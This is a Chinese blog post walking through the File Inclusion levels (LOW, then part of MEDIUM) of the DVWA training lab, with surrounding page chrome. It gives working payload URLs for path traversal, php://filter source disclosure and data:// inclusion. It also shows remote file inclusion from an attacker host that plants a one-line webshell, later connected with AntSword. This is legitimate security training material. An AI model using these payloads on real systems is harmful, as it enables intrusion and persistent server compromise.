您当前的位置: 首页 > 

仙女象

暂无认证

  • 5浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

DVWA通关--文件包含(File Inclusion)

仙女象 发布时间:2021-01-13 22:40:10 ,浏览量:5

目录

 

LOW

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

MEDIUM

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

HIGH

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

IMPOSSIBLE

代码分析

总结

LOW 通关步骤 一、本地文件包含

1、先搞清楚要干啥,当然可以像DVWA通关--文件上传(File Upload)的HIGH关一样,结合文件上传漏洞,包含木马,但是总做一样的事情未免有点没意思。

点右下角的View Help看了一下,File Inclusion这套关卡要求读取../hackable/flags/fi.php这个文件中的5个引用,也就是5个名言名句。

这个是本地文件包含的要求,后面也会一并尝试远程文件包含。

我在服务器上面看了一下这个文件的内容,如下图

可见1、2、4是直接包含了文件就可以在网页上看到(1是纯文本、2和4是php代码执行结果),

5是直接包含文件之后右键查看网页源代码可以看到(5是html注释),

而3需要通过文件包含查看到php源代码才能看到。

2、首先进行普通的本地文件包含:

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

就可以看到第1、2、4条引用直接可以在网页中看到

3、右键查看网页源代码,5也出现了

4、要把3弄出来的话,必须能够查看到fi.php的源代码,需要用到php伪协议php://filter

在地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../hackable/flags/fi.php

(“read=”是可以省略的,见MEDIUM)

可以得到fi.php源代码的base64编码:

随便找个在线base64解码工具解个码,就可以看到源代码,也就可以看到第3个引用啦

二、远程文件包含

方法1:

1、在攻击机192.168.116.1上创建待包含的文件fin.txt,文件内容如下:

当这个文件被成功包含之后,其中的php代码会执行,效果是在目标机上创建一个shell.php文件,并写入一句话木马。

2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务

3、浏览器地址栏输入payload:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/fin.txt

页面上看不出来什么鬼,打开目标机,可以发现fi文件夹下已经生成了shell.php文件:

4、蚁剑连接:

(不需要添加cookie字段)

方法2:

1、在攻击机192.168.116.1上创建待包含的文件sh.txt,文件内容如下:

2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务

3、蚁剑直接通过远程文件包含来连接一句话木马:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/sh.txt

注意需要添加cookie

连接成功

代码分析

这关就是什么防护也没有,直接把url中page的值作为参数传递给index.php中的include函数,被包含的文件的内容便会被当作php代码运行。

MEDIUM 通关步骤 一、本地文件包含

1、先用LOW的payload试试

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

没成功,报错了,从报的错可以看出来,../../是被删掉了。

也就是说,这关不可以用相对路径,下面来试试绝对路径

2、从上图的报错信息中可以知道,fi.php的绝对路径是C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

得到第1、2、4条引用

3、右键查看源代码,得到第5条引用

4、用php伪协议得到fi.php源代码的base64编码,解码后可以看到第3条引用

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

二、远程文件包含

这关把http://给过滤掉了,但是可以用data://来实现远程文件包含。

用一句话木马演示有点麻烦,这关就用phpinfo来演示了。

反正一句话木马的话,记得如果是把木马写入了目标机,直接连接的时候就不用设置cookie,如果是通过文件包含来连接,就需要设置cookie,因为dvwa/vulnerabilities/fi路径下的index.php文件(也就是存在文件包含漏洞的文件)是需要验证cookie才能访问的。

方法1:

浏览器地址栏输入:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,

关注
打赏
1661867686
查看更多评论
立即登录/注册

微信扫码登录

0.0407s